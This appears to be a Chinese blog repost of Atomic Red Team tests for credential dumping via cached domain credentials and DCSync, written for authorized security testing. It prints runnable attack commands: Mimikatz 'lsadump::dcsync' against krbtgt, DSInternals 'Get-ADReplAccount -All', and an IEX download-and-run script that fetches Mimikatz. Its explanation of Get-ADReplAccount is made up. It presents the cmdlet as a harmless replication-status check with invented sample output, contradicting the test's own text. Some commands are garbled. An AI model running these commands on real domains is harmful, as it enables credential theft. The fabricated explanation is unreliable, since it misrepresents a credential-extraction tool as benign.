T1003.005、006 - 缓存的域凭证、DCSync

admin 2025年3月17日09:48:49评论10 views字数 6183阅读20分36秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1003-操作系统凭证转储。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

本次带来T1003.005和T1003.006两篇文章

T1003.005 - 操作系统凭证转储:缓存的域凭证

来自ATT&CK的描述

攻击者可能会尝试访问缓存的域凭证,这些凭证用于在域控制器不可用时进行身份验证。(引用:微软 - 缓存凭证)

在Windows Vista及更新版本中,哈希格式为DCC2(域缓存凭证版本2)哈希,也称为MS - Cache v2哈希。(引用:PassLib mscache)默认缓存的凭证数量因系统而异,并且可以在每个系统上进行更改。这种哈希不支持传递哈希类型的攻击,而是需要通过密码破解来恢复明文密码。(引用:ired mscache)

在Linux系统中,活动目录凭证可以通过诸如系统安全服务守护进程(SSSD)或Quest身份验证服务(以前称为VAS)等软件维护的缓存进行访问。缓存的凭证哈希通常位于/var/lib/sss/db/cache.[domain].ldb(对于SSSD)或/var/opt/quest/vas/authcache/vas_auth.vdb(对于Quest)。攻击者可以使用诸如tdbdump之类的实用工具,对这些数据库文件进行操作,转储缓存的哈希,并通过密码破解来获取明文密码。(引用:将MimiKatz引入Unix)

拥有SYSTEM权限或使用sudo权限时,可以使用Mimikatz、Reg和secretsdump.py(用于Windows系统),或Linikatz(用于Linux系统)等工具来提取缓存的凭证。(引用:将MimiKatz引入Unix)

注意:Windows Vista的缓存凭证是使用PBKDF2派生的。(引用:PassLib mscache)

原子测试

原子测试#1 - 通过Cmdkey转储缓存凭证

通过内置的Windows实用工具cmdkey.exe列出当前存储在主机上的凭证。使用Cmdkey列出的凭证仅与当前用户相关,并且密码在存储后不会显示。

  • 参考链接:
    • https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
    • https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
  • 支持的平台:Windows
  • 自动生成的GUID:56506854 - 89d6 - 46a3 - 9804 - b7fde90791f9
  • 攻击命令:使用command_prompt运行!
cmdkey /list

命令解释

cmdkey /list 是 Windows 操作系统下命令提示符(CMD)或 PowerShell 中可用的一个命令,它属于 cmdkey 工具的一部分。cmdkey 是一个用于管理存储在 Windows 凭据管理器中的凭据的命令行工具,而 /list 是该工具的一个参数,用于列出当前存储在系统中的所有凭据信息。

能得到的内容

运行 cmdkey /list 命令后,会输出一系列存储在 Windows 凭据管理器中的凭据信息,通常包含以下几类内容:

  1. 目标名称(Target)
    表示凭据所关联的目标,这可能是一个服务器名称、共享资源名称、网站 URL 或者其他身份验证目标。例如,可能会显示 Domain:target=contoso.com,表明该凭据用于访问 contoso.com 相关的资源。
  2. 类型(Type)
    说明凭据的类型,常见的类型有:
    • Domain Password
      用于域环境的用户名和密码凭据。
    • Generic Password
      通用的用户名和密码凭据,可用于各种应用程序或服务。
    • Domain Certificate
      用于域环境的证书凭据。
  3. 用户(User)
    显示与凭据关联的用户名。

以下是一个示例输出:

列出的目标:目标: Domain:target=contoso.com类型: Domain Password用户: CONTOSOjohndoe目标: Generic:target=app.example.com类型: Generic Password用户: user123

常见用途

cmdkey /list 命令主要有以下几个常见用途:

  1. 查看凭据信息
    可以让用户了解当前系统中存储了哪些凭据,以及这些凭据是用于哪些目标的。这对于管理个人或企业环境中的多组凭据非常有用。
  2. 故障排除
    当在访问某些网络资源、共享文件夹或远程服务器时遇到身份验证问题,通过查看存储的凭据,可以确认是否存在错误的凭据或者是否缺少必要的凭据。
  3. 安全审计
    系统管理员可以使用该命令来审计系统中存储的凭据,确保只有授权的凭据被存储,并且没有不必要的敏感信息被保存。
  4. 清理凭据
    在确认某些凭据不再需要后,可以结合 cmdkey /delete 命令来删除这些凭据,以提高系统的安全性。例如,cmdkey /delete:Domain:target=contoso.com 可以删除与 contoso.com 相关的凭据。

T1003.006 - 操作系统凭证转储:DCSync

来自ATT&CK的描述

攻击者可能会尝试通过滥用Windows域控制器的应用程序编程接口(API)来访问凭证和其他敏感信息。(引用:微软DRSR 2017年12月;微软GetNCCChanges;Samba DRSUAPI;Wine API samlib.dll)他们利用一种名为DCSync的技术,模拟从远程域控制器进行的复制过程。

管理员、域管理员和企业管理员组的成员,或者域控制器上的计算机账户,能够运行DCSync从活动目录中提取密码数据。(引用:ADSecurity Mimikatz DCSync)这些数据可能包括诸如KRBTGT和管理员等潜在有用账户的当前和历史哈希值。然后,这些哈希值可用于创建票据,以用于传递票据攻击。(引用:Harmj0y Mimikatz和DCSync)或者如在账户操纵中所述,用于更改账户密码。(引用:InsiderThreat ChangeNTLM 2017年7月)

DCSync功能已包含在Mimikatz的“lsadump”模块中。(引用:GitHub Mimikatz lsadump模块)Lsadump还包括NetSync,它通过一种旧版复制协议执行DCSync。(引用:微软NRPC 2017年12月)

原子测试

原子测试#1 - DCSync(活动目录)

这是一种活动目录攻击方式,允许在不访问内存或检索NTDS数据库的情况下获取账户信息。它通过复制协议对远程Windows域控制器起作用。所需权限:默认情况下为域管理员或域控制器账户,或者具有所需权限的任何其他账户。

  • 支持的平台:Windows
  • 自动生成的GUID:129efd28 - 8497 - 4c87 - a1b0 - 73b9a870ca3e
  • 输入参数:
名称
描述
类型
默认值
domain
目标活动目录域
字符串
%userdnsdomain%
user
目标用户
字符串
krbtgt
mimikatz_path
Mimikatz的Windows可执行文件路径
路径
%tmp%mimikatzx64mimikatz.exe
  • 攻击命令:使用command_prompt运行!
#{mimikatz_path} "lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}" "exit"
  • 依赖项:使用powershell运行!
  • 描述:Mimikatz执行文件必须存在于磁盘上的指定位置(#{mimikatz_path})
  • 检查先决条件命令:
$mimikatz_path = cmd /c echo #{mimikatz_path}if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
  • 获取先决条件命令:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }$mimikatz_exe = cmd /c echo #{mimikatz_path}$basePath = Split-Path $mimikatz_exe | Split-PathInvoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

原子测试#2 - 运行DSInternals Get-ADReplAccount

以下原子测试将运行DSInternals中的Get-ADReplAccount。成功执行后,域和凭证将显示在标准输出中。

  • 参考资料:CrowdStrike StellarParticle;https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/
  • 支持的平台:Windows
  • 自动生成的GUID:a0bced08 - 3fc5 - 4d8b - 93b7 - e8344739376e
  • 输入参数:
名称
描述
类型
默认值
logonserver
ComputerName参数,默认值为%logonserver%
字符串
$ENV:logonserver.TrimStart("")
  • 攻击命令:使用powershell运行!
Get-ADReplAccount -All -Server #{logonserver}

Get-ADReplAccount -All -Server #{logonserver} 是一条 PowerShell 命令,主要用于在 Active Directory(AD)环境中操作,下面为你详细解释该命令:

命令概述

该命令使用了 Get-ADReplAccount 这个 PowerShell cmdlet(命令行工具),其主要功能是从 Active Directory 复制拓扑中检索有关账户复制状态的信息。

参数解释

  • -All:
    • 此参数表明要获取所有账户的复制状态信息。若不使用该参数,Get-ADReplAccount 可能只会返回部分账户或者特定筛选条件下的账户信息。使用 -All 能确保返回 Active Directory 中所有账户的相关复制状态数据。
  • -Server #{logonserver}:
    • -Server
       参数用于指定要连接的 Active Directory 域控制器。#{logonserver} 是一个占位符,在实际使用时,需要替换为具体的域控制器的名称或者 IP 地址。指定服务器后,该命令就会连接到这个特定的域控制器来执行账户复制状态信息的查询操作。

命令用途

在大型企业的 Active Directory 环境中,账户信息会在多个域控制器之间进行复制,以保证数据的一致性和可用性。不过,由于网络问题、权限问题或者其他因素,账户复制可能会出现故障。Get-ADReplAccount -All -Server #{logonserver} 命令可以帮助管理员:

  • 监控复制状态
    查看所有账户在指定域控制器上的复制状态,及时发现复制失败或者延迟的账户。
  • 故障排查
    当出现账户登录问题或者账户信息不一致的情况时,通过查看账户复制状态,有助于定位问题是出在复制环节还是其他方面。
  • 维护 Active Directory 健康
    定期运行该命令,能确保 Active Directory 中的账户信息在各个域控制器之间准确无误地复制,维持整个 Active Directory 环境的稳定性。

示例代码及输出示例

假设 #{logonserver} 替换为 dc01.contoso.com,以下是示例代码:

Get-ADReplAccount -All -Server dc01.contoso.com
输出可能如下:
DistinguishedName : CN=John Doe,OU=Users,DC=contoso,DC=comName              : John DoeObjectClass       : userObjectGUID        : 12345678-1234-1234-1234-123456789012ReplicationState  : NormalDistinguishedName : CN=Jane Smith,OU=Users,DC=contoso,DC=comName              : Jane SmithObjectClass       : userObjectGUID        : 09876543-4321-4321-4321-098765432109ReplicationState  : Error
输出结果包含账户的区分名称(DistinguishedName)、名称(Name)、对象类(ObjectClass)、对象 GUID(ObjectGUID)以及复制状态(ReplicationState)等信息。复制状态可能显示为 Normal(正常)、Error(错误)等,方便管理员判断账户复制是否正常。
  • 依赖项:使用powershell运行!
  • 描述:必须安装DSInternals
  • 检查先决条件命令:
$RequiredModule = Get-Module -Name DSInternals -ListAvailableif (-not $RequiredModule) {exit 1}if (-not $RequiredModule.ExportedCommands['DSInternals']) {exit 1else {exit 0}
  • 获取先决条件命令:
Install-Module -Name DSInternals -ScopeUserUser -Force

原文始发于微信公众号(网空安全手札):T1003.005、006 - 缓存的域凭证、DCSync

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月17日09:48:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1003.005、006 - 缓存的域凭证、DCSynchttps://cn-sec.com/archives/3847665.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息